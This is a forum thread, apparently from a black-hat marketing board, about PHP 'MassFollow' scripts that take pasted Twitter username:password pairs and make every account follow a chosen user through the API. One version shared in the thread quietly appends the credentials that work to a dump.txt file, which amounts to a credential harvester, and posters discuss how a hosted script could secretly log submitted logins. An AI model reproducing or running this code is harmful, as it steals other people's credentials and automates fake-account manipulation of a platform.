Nothing mate, cleared cache even tried in firefox.
Thanks anyway was worth a try.
Maybe I am wrong, but this is a modified script that is already shared here on BHW.
Personally, I would never post nothing with usernames and passwords on server not owned by me.
I didn't thought that host or server is a problem, what I wanted to say is - what is not under my control can be problem. I don't believe until I see the source, whoever is sending username : password there just like that is looking for trouble and deserve to be hacked/spammed/with stolen accounts.
It is very easy to add hidden function/request to follow one more account (of person who host the code, for example) or to redirect / print all POST requests to flat text file or mysql database, or even fetch that file with cURL or get_contents from another server.
then dont use it mate, i told you that i am ready to share script with MODS , they can test my script to there server and see whether its safe or not .
<?php set_time_limit(false);
error_reporting(false);
?>
<html>
<title>MassFollow</title>
<head>
<style type="text/css">
#btn
{
background: transparent;
border: solid thin;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
border-radius: 3px;
font-family: Verdana;
width: 300px;
}
#follow
{
background: transparent;
border: solid thin;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
border-radius: 3px;
font-family: Verdana;
}
textarea
{
width: 400px;
height: 320px;
}
.work
{
font-weight: bold;
color: green;
}
.notwork
{
font-weight: bold;
color: red;
}
a
{
color: #000000;
font-weight: bold;
}
</style>
<script type="text/javascript">
function countFakes()
{
document.getElementById("count").innerHTML =
document.getElementById("perfis").value.split("\n").length;
}
</script>
</head>
<center>
<form method="POST" action="">
<textarea name="perfis" id="perfis" onkeydown="countFakes()" onchange="countFakes()"></textarea><br />
<font id="count" style="font-weight: bold;">0</font>Â profiles.<br /><br />
<font face="Verdana">user name:</font><br />
@Â <input type="text" name="follow" id="follow" value="" /><br /><br />
@Â <input type="text" name="follow" id="follow" value="" /><br /><br />
@Â <input type="text" name="follow" id="follow" value="" /><br /><br />
<input type="submit" value="Follow!" id="btn">
</form>
<?php
if (isset($_POST["perfis"]))
{
$logins = explode("\n", $_POST["perfis"]);
$follow = $_POST["follow"];
$contar = count($logins);
for($i = 0; $i <= $contar; $i++)
{
//$logins[$i] = preg_replace("/^\d+\:/i", "", $logins[$i]);
if (!(preg_match("/[a-zA-Z0-9]+/i", $logins[$i])))
{
continue;
}
$data = explode(":", $logins[$i]);
if ($data[0][0] == "@")
$data[0] = str_replace("@", "", $data[0]);
$ch = curl_init();
curl_setopt_array($ch,
array(
CURLOPT_URL => "http://api.twitter.com/1/friendships/create/{$follow}.xml",
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_SSL_VERIFYPEER => 0,
CURLOPT_COOKIE => null,
CURLOPT_HEADER => true,
CURLOPT_NOBODY => false,
CURLOPT_POSTFIELDS => "&follow=true",
CURLOPT_USERPWD => trim($data[0]) . ":" . trim($data[1])
)
);
$ret = curl_exec($ch);
curl_setopt($ch, CURLOPT_URL, "");
curl_exec($ch);
if (preg_match("/Unauthorized/i", $ret)) {
}
else {
$conteudo = "".$nomecerto.":".$senha."\r\n";
$arquivo = "dump.txt";
if (!$abrir = fopen($arquivo, "a")) {
echo "Erro abrindo arquivo ($arquivo)";
exit;
}
if (!fwrite($abrir, $conteudo)) {
print "Erro ao cadastrar ($email1)";
exit;
}
fclose($abrir);
echo "".$data[0].":".$data[1]."<br>";
}
flush();
ob_flush();
}
}
?>READY
<html>
<head>
<title>http://1mm.de/fs -_- sex.lima-city.de/- </title>
<script type="text/javascript">
function countFakes() {document.getElementById("count").innerHTML = document.getElementById("perfis").value.split("\n").length;}
</script>
</head>
<body>
<center>
<h1>Mass Follow</h1>
insert <b>Twitter_Username:password</b> or <b>Registered_Email:password</b> -_- one pair per line
<form method="POST" action="">
<textarea name="perfis" id="perfis" onKeyDown="countFakes()" onChange="countFakes()"rows="8" cols="45"></textarea><br />
<font id="count" style="font-weight: bold;">0</font>Â Twitter Accounts Inserted.<br /><br />
<input type="submit" value="Start Following" id="btn"> <font face="Verdana">the username</font>
@<input type="text" name="follow" id="follow" value=""/>
</form>
</body>
</html>
<?php
set_time_limit(false);
error_reporting(false);
if (isset($_POST["perfis"])) {
$logins = explode("\n", $_POST["perfis"]);
$follow = $_POST["follow"];
$contar = count($logins);
for($i = 0; $i <= $contar; $i++) {
if (!(preg_match("/[a-zA-Z0-9]+/i", $logins[$i]))) {
continue;
}
$data = explode(":", $logins[$i]);
if ($data[0][0] == "@")
$data[0] = str_replace("@", "", $data[0]);
$ch = curl_init();
curl_setopt_array($ch,
array(
CURLOPT_URL => "http://api.twitter.com/1/friendships/create/{$follow}.xml",
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_SSL_VERIFYPEER => 0,
CURLOPT_COOKIE => null,
CURLOPT_HEADER => true,
CURLOPT_NOBODY => false,
CURLOPT_POSTFIELDS => "&follow=true",
CURLOPT_USERPWD => trim($data[0]) . ":" . trim($data[1])
)
);
$ret = curl_exec($ch);
if (preg_match("/Unauthorized/i", $ret)) {
print "<b><font style='color: red;'>".$data[0]." - Error</font></b><br />";
flush();
ob_flush();
sleep(1);
} else {
print "<b><font style='color: green;'>".$data[0]." - Success</font></b><br />";
//include("../loop.php");include("config.php");
flush();
ob_flush();
sleep(1);
}
}
}
?>
﴾͡à¹Ì¯Í¡à¹ï´¿.tk;4921076 said:i tested the above script
•doesn't work
•creates a dump.txt file but only " : " lines